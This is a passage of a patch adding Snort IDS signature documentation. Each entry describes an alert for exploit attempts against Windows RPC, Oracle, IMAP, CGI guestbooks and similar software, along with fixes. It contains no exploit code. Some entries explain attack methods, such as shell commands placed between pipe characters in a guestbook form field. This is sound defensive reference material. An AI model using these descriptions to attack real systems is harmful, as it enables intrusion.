+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1300.txt
+++ snort-2.8.5.2/doc/signatures/1300.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+1300
+
+--
+Summary:
+This event is generated when an attempt is made to exploit an 
+authentication vulnerability in a web server or an application running
+on that server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a web server or an application running ona web server. Some
+applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An attacker can access the authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Disallow administrative access from sources external to the protected
+network.
+
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1847.txt
+++ snort-2.8.5.2/doc/signatures/1847.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1847
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/838.txt
+++ snort-2.8.5.2/doc/signatures/838.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+838
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2934.txt
+++ snort-2.8.5.2/doc/signatures/2934.txt
@@ -0,0 +1,68 @@
+Rule:
+
+--
+Sid:
+2934
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft Network Dynamic Data Exchange (NetDDE)
+services.
+
+--
+Impact:
+Serious. Execution of arbitrary code with system level privileges
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft NetDDE that may allow an attacker to
+run code of their choosing with system level privileges. A programming
+error in the handling of network messages may give an attacker the
+opportunity to overflow a fixed length buffer by using a specially
+crafted NetDDE message.
+
+This service is not started by default on Microsoft Windows systems, but
+this issue can also be exploited locally in an attempt to escalate
+privileges after a successful attack from an alternate vector.
+
+--
+Affected Systems:
+	Microsoft Windows NT, 2000, 2003, XP, 98 and ME systems.
+
+--
+Attack Scenarios:
+An attacker needs to craft a special NetDDE message in order to overflow
+the affected buffer.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Disable the NetDDE service.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Microsoft Security Bulletin MS04-031:
+http://www.microsoft.com/technet/security/bulletin/ms04-031.mspx
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1903.txt
+++ snort-2.8.5.2/doc/signatures/1903.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+1903
+
+--
+Summary:
+This event is generated when a remote attacker sends an IMAP RENAME
+command with a malformed argument to an internal IMAP server port. This
+may indicate an attempt to exploit a buffer overflow vulnerability in
+the IMAP RENAME command.
+
+--
+Impact:
+Possible shell access on the IMAP server, leading to arbitrary code
+execution. The attacker must have a valid IMAP account on the mail
+server to attempt this exploit.
+
+--
+Detailed Information:
+When a RENAME command with a malformed and overly long argument is sent
+to a vulnerable IMAP server, a buffer overflow condition may occur. This
+can allow an attacker to execute arbitrary code from the command shell.
+Note that this exploit can only be attempted by a user with a valid IMAP
+account.
+
+--
+Affected Systems:
+	University of Washington imapd versions 10.234 or 12.264.
+
+--
+Attack Scenarios:
+An attacker with an IMAP account on the server can send a sufficiently
+long RENAME command to the IMAP server, creating a buffer overflow
+condition. This can then allow the attacker to gain shell access on the
+compromised server, possibly leading to the execution of arbitrary code.
+
+--
+Ease of Attack:
+Simple. Exploits exist, but the user must have a valid IMAP account on
+the server.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the patch for your current version of imapd appropriate to your
+operating system.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Sourcefire Technical Publications Team
+Jennifer Harvey <jennifer.harvey@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/732.txt
+++ snort-2.8.5.2/doc/signatures/732.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+732
+
+--
+Summary:
+This event is generated when network traffic indicating the use of a
+multimedia application is detected.
+
+--
+Impact:
+This may be a violation of corporate policy since these applications can
+be used to bypass security measures designed to restrict the flow of
+corporate information to destinations external to the corporation.
+
+--
+Detailed Information:
+Multimedia client applications can be used to view movies and listen to
+music files. Some also include file sharing facilities. Use of these
+programs may constitute a violation of company policy.
+
+Clients may also contain vulnerabilities that can give an attacker an
+attack vector for delivering Trojan horse programs and viruses.
+
+--
+Affected Systems:
+	All systems running multimedia applications
+
+--
+Attack Scenarios:
+A user can download files from a source external to the protected
+network that may contain malicious code hidden in the file giving an
+attacker the opportunity to gain access to a host inside the protected
+network.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2828.txt
+++ snort-2.8.5.2/doc/signatures/2828.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2828
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure comment_on_repgroup
+. This procedure is included in
+sys.dbms_repcat_mas.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000652.txt
+++ snort-2.8.5.2/doc/signatures/100000652.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+100000652
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site 
+scripting vulnerability in the "MyPHP Guestbook" application running on a 
+webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site 
+scripting vulnerability via the "id" parameter in the "index.php" script used 
+by the "MyPHP Guestbook" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to retrieve sensitive data, execute system binaries 
+or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using MyPHP Guestbook
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a 
+user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/3317.txt
+++ snort-2.8.5.2/doc/signatures/3317.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3317
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2082.txt
+++ snort-2.8.5.2/doc/signatures/2082.txt
@@ -0,0 +1,78 @@
+Rule:
+
+--
+Sid:
+2082
+
+--
+Summary:
+number for the rpc service xfsmd
+
+--
+Impact:
+Intelligence gathering
+
+--
+Detailed Information:
+This may be an attacker probing for vulnerable versions of rpc services.
+In this case, the rpc service xfsmd.
+
+It is possible for an attacker to supply a meta character followed by
+any commands or code of his choosing to the xfsmd daemon.
+
+Due to a programming error, the service does not correctly check for the
+characters and they are not stripped from the request.
+
+The xfsmd daemon is not installed by default on IRIX systems but it is 
+part of an optional package.
+
+--
+Affected Systems:
+	IRIX 6.2
+	IRIX 6.3
+	IRIX 6.4
+	IRIX 6.5.x
+
+--
+Attack Scenarios:
+Exploits are widely available.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Patches are NOT available for this issue.
+
+Disable and remove the xfsmd daemon.
+
+Uprade to the latest non affected version of the operating system
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/5075
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0359
+
+SGI IRIX:
+ftp://patches.sgi.com/support/free/security/advisories/20020606-01-I
+
+--
--- snort-2.8.5.2.orig/doc/signatures/122-23.txt
+++ snort-2.8.5.2/doc/signatures/122-23.txt
@@ -0,0 +1,93 @@
+
+
+Rule:
+
+--
+Sid:
+122-23
+
+--
+Summary:
+This event is generated when the pre-processor sfPortscan detects
+network traffic that may constitute an attack. Specifically a udp
+filtered portsweep was detected.
+
+--
+Impact:
+Unknown. This is normally an indicator of possible network
+reconnaisance and may be the prelude to a targeted attack against the
+targeted systems.
+
+--
+Detailed Information:
+This event is generated when the sfPortscan pre-processor detects
+network traffic that may consititute an attack.
+
+A portscan is often the first stage in a targeted attack against a
+system. An attacker can use different portscanning techniques and tools
+to determine the target host operating system and application versions
+running on the host to determine the possible attack vectors against
+that host.
+
+More information on this event can be found in the individual
+pre-processor documentation README.sfportscan in the docs directory of
+the snort source. Descriptions of different types of portscanning
+techniques can also be found in the same documentation, along with
+instructions and examples on how to tune and use the pre-processor.
+
+--
+Affected Systems:
+	All.
+
+--
+Attack Scenarios:
+An attacker often uses a portscanning technique to determine operating
+system type and version and also application versions to determine
+possible effective attack vectors that can be used against the target
+host.
+
+--
+Ease of Attack:
+Simple. Many portscanning tools are freely available.
+
+--
+False Positives:
+While not necessarily a false positive, a security audit or penetration
+test will often employ the use of a portscan in the same way an
+attacker might use the technique. If this is the case, the
+pre-processor should be tuned to ignore the audit if so desired.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check for other events targeting the host.
+
+Check the target host for signs of compromise.
+
+Apply any appropriate vendor supplied patches as appropriate.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Daniel Roelker <droelker@sourcefire.com>
+Marc Norton    <mnorton@sourcefire.com>
+Jeremy Hewlett <jh@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Nmap:
+http://www.insecure.org/nmap/
+
+Port Scanning Techniques and the Defense Against Them - Roger
+Christopher, SANS:
+http://www.sans.org/rr/whitepapers/auditing/70.php
+
+Hypervivid Tiger Team - Port-Scanning: A Practical Approach
+http://www.hcsw.org/reading/nmapguide.txt
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2529.txt
+++ snort-2.8.5.2/doc/signatures/2529.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+Sid:
+2529
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in the Microsoft implementation of SSL Version 3.
+
+--
+Impact:
+Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in the handling of SSL Version 3 requests that
+can be manipulated to cause a DoS condition in various software 
+implementations used on Microsoft operating systems.
+
+The condition exists because of poor error handling routines in the
+Microsoft Secure Sockets Layer (SSL) library. SSL requests containing an
+invalid field, sent to vulnerable systems can cause the affected host to stop 
+handling any further requests.
+
+--
+Affected Systems:
+	Microsoft Windows 2000, 2003 and XP systems using SSL
+
+--
+Attack Scenarios:
+An attcker needs to make an SSL request to an affected system that
+contains an invalid field.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+--
+Contributors:
+Sourcefire Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2376.txt
+++ snort-2.8.5.2/doc/signatures/2376.txt
@@ -0,0 +1,64 @@
+Rule:  
+
+--
+Sid:
+2376
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in Checkpoint VPN-1.
+
+--
+Impact:
+Unauthorized administrative access to Checkpoint VPN-1 systems
+
+--
+Detailed Information:
+Checkpoint VPN-1, SecuRemote and SecureClient contain an error that
+affects the processing of large Certificate requests to the VPN service.
+By sending a large amount of data in the Certificate Request payload an
+attacker may cause a buffer overflow condition to occur, presenting an
+opportunity to execute code of their choosing with the privileges of the
+user running the service, usually root.
+
+--
+Affected Systems:
+	CheckPoint Software FW-1 1.4.1 Service packs prior to SP6
+	CheckPoint Software FW-1 Next Generation FP1, FP0
+	CheckPoint Software VPN-1 1.4.1 SP5a
+	CheckPoint Software VPN-1 Next Generation FP1, FP0
+
+--
+Attack Scenarios:
+An attacker could supply a large Certificate Request payload containing
+code to be executed on the system.
+
+--
+Ease of Attack:
+Proof of concept code exists.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software
+
+Apply the appropriate vendor supplied patches
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2981.txt
+++ snort-2.8.5.2/doc/signatures/2981.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+2981
+
+--
+Summary:
+This event is generated when an attempt is made to access the ADMIN$
+administrative share of a Windows host.
+
+--
+Impact:
+Serious. Possible administrator access to the host. Information 
+disclosure.
+
+--
+Detailed Information:
+By default, Windows hosts have default administrative shares of the 
+local hard drives using the format %DRIVE_LETTER% + $. Anybody with 
+administrative rights can remotely access the share.
+
+--
+Affected Systems:
+	Windows hosts.
+
+--
+Attack Scenarios:
+An attacker may be attempting to access files located on the C drive of 
+the host.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disallow Netbios access from external networks (tcp port 139).
+
+--
+Contributors:
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Josh Sakofsky
+
+-- 
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS339
+
+Microsoft:
+http://support.microsoft.com/default.aspx?scid=kb;en-us;100517
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1638.txt
+++ snort-2.8.5.2/doc/signatures/1638.txt
@@ -0,0 +1,66 @@
+Rule:
+
+--
+Sid:
+1638
+
+--
+Summary:
+This event is generated when a scan for the version of an ssh daemon is
+detected.
+
+--
+Impact:
+Information gathering.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to scan a host. In
+particular an attempt has been made to scan for the version of the ssh
+daemon on the target host.
+
+This may be the prelude to an attack. Scanners are used to ascertain
+which ports a host may be listening on, whether or not the ports are
+filtered by a firewall and if the host is vulnerable to a particular
+exploit.
+
+--
+Affected Systems:
+	Any host using the ssh daemon.
+
+--
+Attack Scenarios:
+An attacker can determine if a vulnerable version of ssh is being used
+on a host, then proceed to exploit that vulnerablity.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+A scanner may be used in a security audit.
+
+--
+False Negatives:
+If the scanning tool does not send an identification string this rule
+will not generate an event.
+
+--
+Corrective Action:
+Determine whether or not the scan was legitimate then look for other
+events concerning the attacking IP address.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2211.txt
+++ snort-2.8.5.2/doc/signatures/2211.txt
@@ -0,0 +1,54 @@
+Rule:  
+
+--
+Sid:
+2211
+
+--
+Summary:
+This event is generated when an attempt is made to access guestserver.cgi on an internal web server. This may indicate an attempt to exploit a remote command execution vulnerability in Lars Ellingsen's Guestbook system.
+
+--
+Impact:
+Remote execution of arbitrary code.
+
+--
+Detailed Information:
+Lars Ellingsen's Guestbook system is a CGI application for web-based guestbooks. It contains a parsing vulnerability in guestserver.cgi where an attacker can place executable code within pipe characters (|) in front of an email address in the email value of a guestbook form. Because the pipe metacharacter is not properly filtered, code placed in the email value is executed with the security context of the web server.
+
+--
+Affected Systems:
+Any web server running Lars Ellingsen's Guestbook system.
+
+--
+Attack Scenarios:
+An attacker prepends shell commands between pipe characters to an email address in the email value of a guestbook entry. When the form data is submitted, the web server attempts to execute the commands. 
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+If a legitimate remote user accesses guestserver.cgi on an internal web server, this rule may generate an event.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Because Lars Ellingsen's guestbook system does not appear to be currently maintained, you may want to use a different guestbook application. As a workaround, you can change the 1 that appears on the line beneath <-guestbook.mailto_guest-> to 0 in the guestbook.config file.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Sourcefire Technical Publications Team
+Jennifer Harvey <jennifer.harvey@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/357.txt
+++ snort-2.8.5.2/doc/signatures/357.txt
@@ -0,0 +1,54 @@
+Rule:
+
+--
+Sid: 
+357
+
+--
+Summary:
+This event is generated when activity relating to spurious ftp traffic is detected on the network.
+
+--
+Impact:
+Varies from information gathering to a serious compromise of an ftp server.
+
+--
+Detailed Information:
+FTP is used to transfer files between hosts. This event is indicative of spurious activity in FTP traffic between hosts.
+
+The event may be the result of a transfer of a known protected file or it could be an attempt to compromise the FTP server by overflowing a buffer in the FTP daemon or service.
+
+--
+Attack Scenarios:
+A user may transfer sensitive company information to an external party using FTP.
+
+An attacker might utilize a vulnerability in an FTP daemon to gain access to a host, then upload a Trojan Horse program to gain control of that host.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disallow access to FTP resources from hosts external to the protected network.
+
+Use secure shell (ssh) to transfer files as a replacement for FTP.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <brian.caswell@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1287.txt
+++ snort-2.8.5.2/doc/signatures/1287.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid: 1287
+
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a potential weakness on a host running Microsoft Internet Information Server (IIS). 
+
+--
+Impact:
+Information gathering possible administrator access.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit potential weaknesses in a host running Microsoft IIS.
+
+The attacker may be trying to gain information on the IIS implementation on the host, this may be the prelude to an attack against that host using that information.
+
+The attacker may also be trying to gain administrator access to the host, garner information on users of the system or retrieve sensitive customer information.
+
+Some applications may store sensitive information such as database connections, user information, passwords and customer information in files accessible via a web interface. Care should be taken to ensure these files are not accessible to external sources.
+
+--
+Affected Systems:
+Any host using IIS.
+
+--
+Attack Scenarios:
+An attacker can retrieve a sensitive file containing information on the IIS implementation. The attacker might then gain administrator access to the site, deface the content or gain access to a database.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the IIS implementation on the host. Ensure all measures have been taken to deny access to sensitive files.
+
+Ensure that the IIS implementation is fully patched.
+
+Ensure that the underlying operating system is fully patched.
+
+Employ strategies to harden the IIS implementation and operating system.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1939.txt
+++ snort-2.8.5.2/doc/signatures/1939.txt
@@ -0,0 +1,56 @@
+Rule:
+
+--
+Sid:
+1939
+
+--
+Summary:
+This event is generated when a possible buffer overflow is attempted for the bootpd service.
+
+--
+Impact:
+Remote access. This attack may permit the execution of arbitrary commands on the vulnerable server.
+
+--
+Detailed Information:
+Bootp is a protocol used for devices such as diskless workstations to locate a host from which to boot and to receive an assigned an IP address.  A flaw exists in the bootpd service allowing a possible buffer overflow condition when a bootp request is issued with an invalid hardware address type. This attack may permit the execution of arbitrary commands on the vulnerable server. 
+
+--
+Affected Systems:
+OpenBSD 2.3, 2.4
+FreeBSD - Releases up to and including 2.x
+
+--
+Attack Scenarios:
+An attacker may attempt to use this exploit to gain remote access on the vulnerable server.
+
+--
+Ease of Attack:
+Simple. Exploit code is freely available.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Block bootp traffic from entering your network.  
+
+--
+Contributors:
+Original rule writer unknown.
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+CVE
+http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-0798
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1633.txt
+++ snort-2.8.5.2/doc/signatures/1633.txt
@@ -0,0 +1,51 @@
+Rule:
+
+--
+Sid: 1633
+
+--
+Summary:
+This event is generated when activity relating to network chat clients is detected.
+
+--
+Impact:
+Policy Violation. Use of chat clients to communicate with unkown external sources may be against the policy of many organizations.
+
+--
+Detailed Information:
+Instant Messaging (IM) and other chat related client software can allow users to transfer files directly between hosts. This can allow malicious users to circumvent the protection offered by a network firewall.
+
+Vulnerabilities in these clients may also allow remote attackers to gain unauthorized access to a host.
+
+--
+Attack Scenarios:
+A user may transfer sensitive company information to an external party using the file transfer capabilities of an IM client.
+
+An attacker might utilize a vulnerability in an IM client to gain access to a host, then upload a Trojan Horse program to gain control of that host.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disallow the use of IM clients on the protected network and enforce or implement an organization wide policy on the use of IM clients.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <brian.caswell@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000416.txt
+++ snort-2.8.5.2/doc/signatures/100000416.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000416
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "MyBloggie" application running on a webserver. Access to the file "admin.php" using a remote file being passed as the "mybloggie_root_path" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "mybloggie_root_path" parameter in the "admin.php" script used by the "MyBloggie" application running on a webserver.
+
